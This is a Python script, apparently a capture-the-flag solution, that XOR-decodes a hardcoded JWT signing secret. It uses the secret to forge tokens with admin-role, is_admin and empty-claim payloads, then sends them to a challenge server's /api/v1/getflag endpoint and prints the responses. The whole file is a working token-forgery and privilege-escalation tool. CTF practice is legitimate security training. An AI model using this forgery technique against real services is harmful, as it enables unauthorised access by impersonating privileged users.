1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
|
import requests
import jwt
import time
from typing import Dict, List
class JWTFuzzer:
def __init__(self):
self.target_url = "http://web-9c9e5f5823.challenge.xctf.org.cn"
self.secret = self._xor_decode("FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ")
self.test_uid = "c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b"
self.all_tokens = [] # 存储所有生成的JWT
@staticmethod
def _xor_decode(text: str, key: str = "134522123") -> str:
"""XOR解码工具方法"""
return "".join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(text))
def _generate_jwt(self, payload: Dict, algorithm: str = "HS256", name: str = "") -> str:
"""生成JWT令牌并保存到列表"""
token = jwt.encode(payload, self.secret, algorithm=algorithm)
self.all_tokens.append({
"name": name, # 添加name字段
"token": token,
"payload": payload,
"algorithm": algorithm
})
return token
def _test_endpoint(self, token: str, config_name: str) -> None:
"""测试API端点并保留完整响应"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"User-Agent": "JWTFuzzer/1.0"
}
try:
# 测试GET请求
response = requests.get(
f"{self.target_url}/api/v1/getflag",
headers=headers,
timeout=10
)
print(f"[{config_name}] GET -> {response.status_code}")
print(f"Response: {response.text}")
# 测试POST请求
post_data = {"uid": self.test_uid}
post_response = requests.post(
f"{self.target_url}/api/v1/getflag",
headers=headers,
json=post_data,
timeout=10
)
print(f"[{config_name}] POST -> {post_response.status_code}")
print(f"Response: {post_response.text}")
except Exception as e:
print(f"[{config_name}] Request Failed: {str(e)}")
def generate_jwt_variations(self) -> List[Dict]:
"""生成各种JWT变体"""
test_cases = [
# 基础测试
{
"name": "Basic JWT",
"payload": {"uid": self.test_uid},
"algorithm": "HS256"
},
# 带时间戳
{
"name": "With Timestamp",
"payload": {"uid": self.test_uid, "iat": int(time.time())},
"algorithm": "HS256"
},
# 管理员权限
{
"name": "Admin Role",
"payload": {"uid": self.test_uid, "role": "admin"},
"algorithm": "HS256"
},
# 过期时间
{
"name": "With Expiration",
"payload": {
"uid": self.test_uid,
"iat": int(time.time()),
"exp": int(time.time()) + 3600
},
"algorithm": "HS256"
},
# 不同算法
{
"name": "HS512 Algorithm",
"payload": {"uid": self.test_uid},
"algorithm": "HS512"
},
# 空声明
{
"name": "Empty Claims",
"payload": {},
"algorithm": "HS256"
},
# 额外字段
{
"name": "Extra Fields",
"payload": {"uid": self.test_uid, "is_admin": True, "debug": True},
"algorithm": "HS256"
}
]
print(f"\n🔧 Generating {len(test_cases)} JWT variations")
for case in test_cases:
try:
token = self._generate_jwt(
payload=case["payload"],
algorithm=case["algorithm"],
name=case["name"] # 传递name参数
)
print(f"[{case['name']}] Generated JWT: {token}")
self._test_endpoint(token, case["name"])
except Exception as e:
print(f"[{case['name']}] JWT Generation Failed: {str(e)}")
return self.all_tokens
def run(self) -> None:
"""运行完整的JWT模糊测试"""
print("🚀 Starting JWT Fuzzer")
print(f"🎯 Target: {self.target_url}")
print(f"🔑 Secret: {self.secret}")
print(f"🆔 Test UID: {self.test_uid}")
print("=" * 60)
# 生成并测试所有JWT变体
tokens = self.generate_jwt_variations()
# 输出所有生成的JWT
print("\n📜 All Generated JWTs:")
for i, token_info in enumerate(tokens, 1):
print(f"\n[{i}] {token_info['name']}")
print(f"Algorithm: {token_info['algorithm']}")
print(f"Payload: {token_info['payload']}")
print(f"Token: {token_info['token']}")
if __name__ == "__main__":
fuzzer = JWTFuzzer()
fuzzer.run()
|
